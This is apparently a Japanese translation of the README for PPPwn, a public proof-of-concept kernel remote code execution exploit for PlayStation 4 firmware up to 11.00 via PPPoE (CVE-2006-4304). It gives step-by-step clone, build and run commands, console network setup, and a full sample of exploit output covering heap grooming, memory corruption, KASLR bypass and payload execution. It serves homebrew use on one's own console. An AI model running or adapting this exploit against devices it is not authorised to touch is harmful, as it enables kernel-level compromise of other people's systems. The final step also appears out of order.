
PPPwn - PlayStation 4 PPPoE RCE
PPPwn は、FW 11.00 までの PlayStation 4 向けカーネルリモートコード実行エクスプロイトです。これは、PlayStation に責任を持って報告された CVE-2006-4304 の概念実証エクスプロイトです。
対応バージョンは次のとおりです:
このエクスプロイトは概念実証として、PS4 に PPPwned と表示するだけです。Mira や類似の homebrew 有効化ツールを起動するには、stage2.bin ペイロードを適応させる必要があります。
Bridged Adapter を選択すれば、VM 内でイーサネットポートを使用できます。コンピュータ上でリポジトリをクローンします:
git clone --recursive https://github.com/TheOfficialFloW/PPPwn
クローンしたリポジトリにディレクトリを変更します:
cd PPPwn
依存関係をインストールします:
sudo pip install -r requirements.txt
ペイロードをコンパイルします:
make -C stage1 FW=1100 clean && make -C stage1 FW=1100
make -C stage2 FW=1100 clean && make -C stage2 FW=1100
他のファームウェア(例: FW 9.00)の場合は、FW=900 を指定してください。
まだエクスプロイトを実行しないでください(まだ Enter を押さないでください)。プロンプトで次のコマンドを準備してください(正しいインターフェースは ifconfig で確認してください):
sudo python3 pppwn.py --interface=enp0s3 --fw=1100
他のファームウェア(例: FW 9.00)の場合は、--fw=900 を指定してください。
PS4 で:
Settings に移動し、次に Network を選択
Set Up Internet connection を選択し、Use a LAN Cable を選択
Custom セットアップを選択し、IP Address Settings で PPPoE を選択
PPPoE User ID と PPPoE Password には任意の値を入力
DNS Settings と MTU Settings では Automatic を選択
Proxy Server では Do Not Use を選択
この PPPoE インジェクションを再度試す前に、必ずコンソールに「Cannot connect to network: (NW-31274-7)」というメッセージが表示されるのを待ってください。
エクスプロイトが失敗した場合や PS4 がクラッシュした場合は、インターネット設定をスキップして、単に Test Internet Connection をクリックしてください。pppwn.py スクリプトを終了し、コンピュータ上で再度実行してから、PS4 で Test Internet Connection をクリックしてください。常に同時に行ってください。
エクスプロイトが成功すると、以下のような出力が表示され、PS4 には Cannot connect to network. の後に PPPwned と表示されるはずです(またはその逆の順序で表示されます)。
[+] PPPwn - PlayStation 4 PPPoE RCE by theflow
[+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin
[+] STAGE 0: Initialization
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 07:ba:be:34:d6:ab
[+] AC cookie length: 0x4e0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[*] Waiting for interface to be ready...
[+] Target IPv6: fe80::2d9:d1ff:febc:83e4
[+] Heap grooming...done
[+] STAGE 1: Memory corruption
[+] Pinning to CPU 0...done
[*] Sending malicious LCP configure request...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] Scanning for corrupted object...found fe80::0fdf:4141:4141:4141
[+] STAGE 2: KASLR defeat
[*] Defeating KASLR...
[+] pppoe_softc_list: 0xffffffff884de578
[+] kaslr_offset: 0x3ffc000
[+] STAGE 3: Remote code execution
[*] Sending LCP terminate request...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 97:df:ea:86:ff:ff
[+] AC cookie length: 0x511
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Triggering code execution...
[*] Waiting for stage1 to resume...
[*] Sending PADT...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634be9200
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] AC cookie length: 0x0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] STAGE 4: Arbitrary payload execution
[*] Sending stage2 payload...
[+] Done!
このコードは Apple Silicon ではコンパイルできず、AMD64 アーキテクチャが必要です。
必要な bin ファイルをビルドするための回避策として、docker を使用する方法があります。
このリポジトリを Mac システムにクローンし、リポジトリフォルダから ./build-macarm.sh を実行してください。これにより PS4 FW 1100 用のバイナリがビルドされ、必要なファイルが適切なフォルダに配置されます。別のバージョン(例: 900)用のバイナリをビルドするには、./build-macarm.sh 900 のようにコマンドを実行してください。ビルド後、このフォルダ構造を Linux VM にコピーし、上記の手順に従って実行してください。
これは VMware Fusion 13.5.1、VM ゲストとして Ubuntu 24.04、ホストマシンは MacOS 14.4.1 でテストされています。
次に、コントローラーの「X」ボタンを Test Internet Connection で押すのと同時に、キーボードの「Enter」を押します(Python スクリプトを実行できる状態にしたコンピュータ上で)。